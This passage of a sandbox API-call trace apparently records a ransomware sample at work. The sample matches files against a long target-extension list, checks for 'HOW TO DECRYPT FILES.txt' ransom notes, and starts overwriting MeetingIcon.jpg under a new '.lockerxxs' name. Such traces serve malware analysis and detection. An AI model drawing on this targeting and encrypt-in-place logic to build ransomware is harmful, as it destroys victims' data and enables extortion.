(pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIconsMask.bmp", pszSpec="*.htm") returned 0 [0065.329] lstrlenA (lpString="*.htm") returned 5 [0065.329] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIconsMask.bmp", pszSpec="*.xlsx") returned 0 [0065.329] lstrlenA (lpString="*.xlsx") returned 6 [0065.329] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIconsMask.bmp", pszSpec="*.xls") returned 0 [0065.329] lstrlenA (lpString="*.xls") returned 5 [0065.329] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIconsMask.bmp", pszSpec="*.mp4") returned 0 [0065.329] lstrlenA (lpString="*.mp4") returned 5 [0065.329] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIconsMask.bmp", pszSpec="*.ppt") returned 0 [0065.329] lstrlenA (lpString="*.ppt") returned 5 [0065.329] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIconsMask.bmp", pszSpec="*.pptx") returned 0 [0065.329] lstrlenA (lpString="*.pptx") returned 6 [0065.329] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIconsMask.bmp", pszSpec="*.doc") returned 0 [0065.329] lstrlenA (lpString="*.doc") returned 5 [0065.329] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIconsMask.bmp", pszSpec="*.dot") returned 0 [0065.329] lstrlenA (lpString="*.dot") returned 5 [0065.329] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIconsMask.bmp", pszSpec="*.docx") returned 0 [0065.329] lstrlenA (lpString="*.docx") returned 6 [0065.329] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIconsMask.bmp", pszSpec="*.7z") returned 0 [0065.329] lstrlenA (lpString="*.7z") returned 4 [0065.329] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIconsMask.bmp", pszSpec="*.tar") returned 0 [0065.330] lstrlenA (lpString="*.tar") returned 5 [0065.410] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIconsMask.bmp", pszSpec="*.bz2") returned 0 [0065.410] lstrlenA (lpString="*.bz2") returned 5 [0065.410] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIconsMask.bmp", pszSpec="*.gz") returned 0 [0065.411] lstrlenA (lpString="*.gz") returned 4 [0065.411] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIconsMask.bmp", pszSpec="*.mkv") returned 0 [0065.411] lstrlenA (lpString="*.mkv") returned 5 [0065.411] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIconsMask.bmp", pszSpec="*.eml") returned 0 [0065.411] lstrlenA (lpString="*.eml") returned 5 [0065.411] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIconsMask.bmp", pszSpec="*.msg") returned 0 [0065.411] lstrlenA (lpString="*.msg") returned 5 [0065.411] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIconsMask.bmp", pszSpec="*.edb") returned 0 [0065.411] lstrlenA (lpString="*.edb") returned 5 [0065.411] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIconsMask.bmp", pszSpec="*.accdb") returned 0 [0065.411] lstrlenA (lpString="*.accdb") returned 7 [0065.411] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIconsMask.bmp", pszSpec="*.odb") returned 0 [0065.411] lstrlenA (lpString="*.odb") returned 5 [0065.411] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIconsMask.bmp", pszSpec="*.java") returned 0 [0065.411] lstrlenA (lpString="*.java") returned 6 [0065.412] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIconsMask.bmp", pszSpec="*.asm") returned 0 [0065.412] lstrlenA (lpString="*.asm") returned 5 [0065.412] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIconsMask.bmp", pszSpec="*.pfx") returned 0 [0065.412] lstrlenA (lpString="*.pfx") returned 5 [0065.412] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIconsMask.bmp", pszSpec="*.pem") returned 0 [0065.412] lstrlenA (lpString="*.pem") returned 5 [0065.412] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIconsMask.bmp", pszSpec="*.p12") returned 0 [0065.412] lstrlenA (lpString="*.p12") returned 5 [0065.412] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIconsMask.bmp", pszSpec="*.gpg") returned 0 [0065.412] lstrlenA (lpString="*.gpg") returned 5 [0065.412] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIconsMask.bmp", pszSpec="*.vsd") returned 0 [0065.412] lstrlenA (lpString="*.vsd") returned 5 [0065.412] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIconsMask.bmp", pszSpec="*.odg") returned 0 [0065.412] lstrlenA (lpString="*.odg") returned 5 [0065.412] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIconsMask.bmp", pszSpec="*.raw") returned 0 [0065.413] lstrlenA (lpString="*.raw") returned 5 [0065.413] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIconsMask.bmp", pszSpec="*.nef") returned 0 [0065.413] lstrlenA (lpString="*.nef") returned 5 [0065.413] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIconsMask.bmp", pszSpec="*.svg") returned 0 [0065.413] lstrlenA (lpString="*.svg") returned 5 [0065.413] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIconsMask.bmp", pszSpec="*.psd") returned 0 [0065.413] lstrlenA (lpString="*.psd") returned 5 [0065.413] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIconsMask.bmp", pszSpec="*.vmx") returned 0 [0065.413] lstrlenA (lpString="*.vmx") returned 5 [0065.413] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIconsMask.bmp", pszSpec="*.vmdk") returned 0 [0065.413] lstrlenA (lpString="*.vmdk") returned 6 [0065.413] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIconsMask.bmp", pszSpec="*.vdi") returned 0 [0065.413] lstrlenA (lpString="*.vdi") returned 5 [0065.413] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIconsMask.bmp", pszSpec="*.lay6") returned 0 [0065.413] lstrlenA (lpString="*.lay6") returned 6 [0065.413] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIconsMask.bmp", pszSpec="*.mpeg") returned 0 [0065.413] lstrlenA (lpString="*.mpeg") returned 6 [0065.413] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIconsMask.bmp", pszSpec="*.djvu") returned 0 [0065.413] lstrlenA (lpString="*.djvu") returned 6 [0065.414] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIconsMask.bmp", pszSpec="*.tiff") returned 0 [0065.414] lstrlenA (lpString="*.tiff") returned 6 [0065.414] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIconsMask.bmp", pszSpec="*.backup") returned 0 [0065.414] lstrlenA (lpString="*.backup") returned 8 [0065.414] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIconsMask.bmp", pszSpec="*.pdf") returned 0 [0065.414] lstrlenA (lpString="*.pdf") returned 5 [0065.414] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIconsMask.bmp", pszSpec="*.cert") returned 0 [0065.414] lstrlenA (lpString="*.cert") returned 6 [0065.414] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIconsMask.bmp", pszSpec="*.docm") returned 0 [0065.414] lstrlenA (lpString="*.docm") returned 6 [0065.414] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIconsMask.bmp", pszSpec="*.xlsm") returned 0 [0065.414] lstrlenA (lpString="*.xlsm") returned 6 [0065.414] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIconsMask.bmp", pszSpec="*.dwg") returned 0 [0065.414] lstrlenA (lpString="*.dwg") returned 5 [0065.414] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIconsMask.bmp", pszSpec="*.nd") returned 0 [0065.414] lstrlenA (lpString="*.nd") returned 4 [0065.414] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIconsMask.bmp", pszSpec="*.tlg") returned 0 [0065.414] lstrlenA (lpString="*.tlg") returned 5 [0065.415] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIconsMask.bmp", pszSpec="*.lgb") returned 0 [0065.415] lstrlenA (lpString="*.lgb") returned 5 [0065.415] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIconsMask.bmp", pszSpec="*.mov") returned 0 [0065.415] lstrlenA (lpString="*.mov") returned 5 [0065.415] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIconsMask.bmp", pszSpec="*.xdw") returned 0 [0065.415] lstrlenA (lpString="*.xdw") returned 5 [0065.415] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIconsMask.bmp", pszSpec="*.ods") returned 0 [0065.415] lstrlenA (lpString="*.ods") returned 5 [0065.415] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIconsMask.bmp", pszSpec="*.wav") returned 0 [0065.415] lstrlenA (lpString="*.wav") returned 5 [0065.415] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIconsMask.bmp", pszSpec="*.mp3") returned 0 [0065.415] lstrlenA (lpString="*.mp3") returned 5 [0065.415] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIconsMask.bmp", pszSpec="*.aiff") returned 0 [0065.415] lstrlenA (lpString="*.aiff") returned 6 [0065.415] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIconsMask.bmp", pszSpec="*.flac") returned 0 [0065.415] lstrlenA (lpString="*.flac") returned 6 [0065.415] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIconsMask.bmp", pszSpec="*.m4a") returned 0 [0065.415] lstrlenA (lpString="*.m4a") returned 5 [0065.416] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIconsMask.bmp", pszSpec="*.csv") returned 0 [0065.416] lstrlenA (lpString="*.csv") returned 5 [0065.416] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb486c900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x582d2010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb486c900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x26ba, dwReserved0=0x6f006f, dwReserved1=0x73006c, cFileName="MeetingIcon.jpg", cAlternateFileName="MEETIN~1.JPG")) returned 1 [0065.416] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0065.416] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MeetingIcon.jpg") returned -1 [0065.416] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MeetingIcon.jpg") returned -1 [0065.416] lstrcmpiA (lpString1="", lpString2="MeetingIcon.jpg") returned -1 [0065.416] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIconsMask.bmp") returned="CircleIconsMask.bmp" [0065.416] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\" [0065.416] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\") returned="" [0065.416] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\HOW TO DECRYPT FILES.txt" [0065.416] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\how to decrypt files.txt")) returned 0x20 [0065.416] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\", lpString2="MeetingIcon.jpg" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIcon.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIcon.jpg" [0065.416] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIcon.jpg", pszSpec="*.ems") returned 0 [0065.416] lstrlenA (lpString="*.ems") returned 5 [0065.416] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIcon.jpg", pszSpec="*.db") returned 0 [0065.416] lstrlenA (lpString="*.db") returned 4 [0065.416] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIcon.jpg", pszSpec="*.dbf") returned 0 [0065.416] lstrlenA (lpString="*.dbf") returned 5 [0065.416] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIcon.jpg", pszSpec="*.myox") returned 0 [0065.417] lstrlenA (lpString="*.myox") returned 6 [0065.417] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIcon.jpg", pszSpec="*.myo") returned 0 [0065.417] lstrlenA (lpString="*.myo") returned 5 [0065.417] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIcon.jpg", pszSpec="*.qbw") returned 0 [0065.417] lstrlenA (lpString="*.qbw") returned 5 [0065.417] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIcon.jpg", pszSpec="*.qbb") returned 0 [0065.417] lstrlenA (lpString="*.qbb") returned 5 [0065.417] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIcon.jpg", pszSpec="*.qbm") returned 0 [0065.417] lstrlenA (lpString="*.qbm") returned 5 [0065.417] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIcon.jpg", pszSpec="*.qbo") returned 0 [0065.417] lstrlenA (lpString="*.qbo") returned 5 [0065.417] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIcon.jpg", pszSpec="*.qbx") returned 0 [0065.417] lstrlenA (lpString="*.qbx") returned 5 [0065.417] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIcon.jpg", pszSpec="*.qba") returned 0 [0065.417] lstrlenA (lpString="*.qba") returned 5 [0065.417] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIcon.jpg", pszSpec="*.qby") returned 0 [0065.417] lstrlenA (lpString="*.qby") returned 5 [0065.417] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIcon.jpg", pszSpec="*.qbj") returned 0 [0065.417] lstrlenA (lpString="*.qbj") returned 5 [0065.417] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIcon.jpg", pszSpec="*.ofx") returned 0 [0065.417] lstrlenA (lpString="*.ofx") returned 5 [0065.417] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIcon.jpg", pszSpec="*.qif") returned 0 [0065.417] lstrlenA (lpString="*.qif") returned 5 [0065.417] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIcon.jpg", pszSpec="*.mye") returned 0 [0065.417] lstrlenA (lpString="*.mye") returned 5 [0065.417] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIcon.jpg", pszSpec="*.mbox") returned 0 [0065.417] lstrlenA (lpString="*.mbox") returned 6 [0065.418] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIcon.jpg", pszSpec="*.eml") returned 0 [0065.418] lstrlenA (lpString="*.eml") returned 5 [0065.418] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIcon.jpg", pszSpec="*.pst") returned 0 [0065.418] lstrlenA (lpString="*.pst") returned 5 [0065.418] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIcon.jpg", pszSpec="*.ost") returned 0 [0065.418] lstrlenA (lpString="*.ost") returned 5 [0065.418] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIcon.jpg", pszSpec="*.idx") returned 0 [0065.418] lstrlenA (lpString="*.idx") returned 5 [0065.418] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIcon.jpg", pszSpec="*.dbx") returned 0 [0065.418] lstrlenA (lpString="*.dbx") returned 5 [0065.418] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIcon.jpg", pszSpec="*.sql") returned 0 [0065.418] lstrlenA (lpString="*.sql") returned 5 [0065.418] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIcon.jpg", pszSpec="*.mdb") returned 0 [0065.418] lstrlenA (lpString="*.mdb") returned 5 [0065.418] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIcon.jpg", pszSpec="*.fdb") returned 0 [0065.418] lstrlenA (lpString="*.fdb") returned 5 [0065.418] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIcon.jpg", pszSpec="*.wab") returned 0 [0065.418] lstrlenA (lpString="*.wab") returned 5 [0065.418] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIcon.jpg", pszSpec="*.dat") returned 0 [0065.418] lstrlenA (lpString="*.dat") returned 5 [0065.418] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIcon.jpg", pszSpec="*.txt") returned 0 [0065.418] lstrlenA (lpString="*.txt") returned 5 [0065.418] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIcon.jpg", pszSpec="*.jpeg") returned 0 [0065.418] lstrlenA (lpString="*.jpeg") returned 6 [0065.418] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIcon.jpg", pszSpec="*.jpg") returned 1 [0065.418] lstrlenA (lpString="*.jpg") returned 5 [0065.418] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIcon.jpg" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIcon.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIcon.jpg" [0065.418] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIcon.jpg" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIcon.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIcon.jpg" [0065.419] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIcon.jpg", lpString2="." | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIcon.jpg.") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIcon.jpg." [0065.419] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIcon.jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIcon.jpg.lockerxxs") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIcon.jpg.lockerxxs" [0065.419] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIcon.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\meetingicon.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x98 [0065.433] GetFileSize (in: hFile=0x98, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x26ba [0065.433] GetFileTime (in: hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0xb486c900, dwHighDateTime=0x1c747ea), lpLastAccessTime=0x407536*(dwLowDateTime=0x582d2010, dwHighDateTime=0x1d301bf), lpLastWriteTime=0x40753e*(dwLowDateTime=0xb486c900, dwHighDateTime=0x1c747ea)) returned 1 [0065.433] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0065.433] ReadFile (in: hFile=0x98, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x2694, lpOverlapped=0x0) returned 1 [0065.435] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIcon.jpg") returned="MeetingIcon.jpg" [0065.435] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0065.435] WriteFile (in: hFile=0x98, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x2694, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x2694, 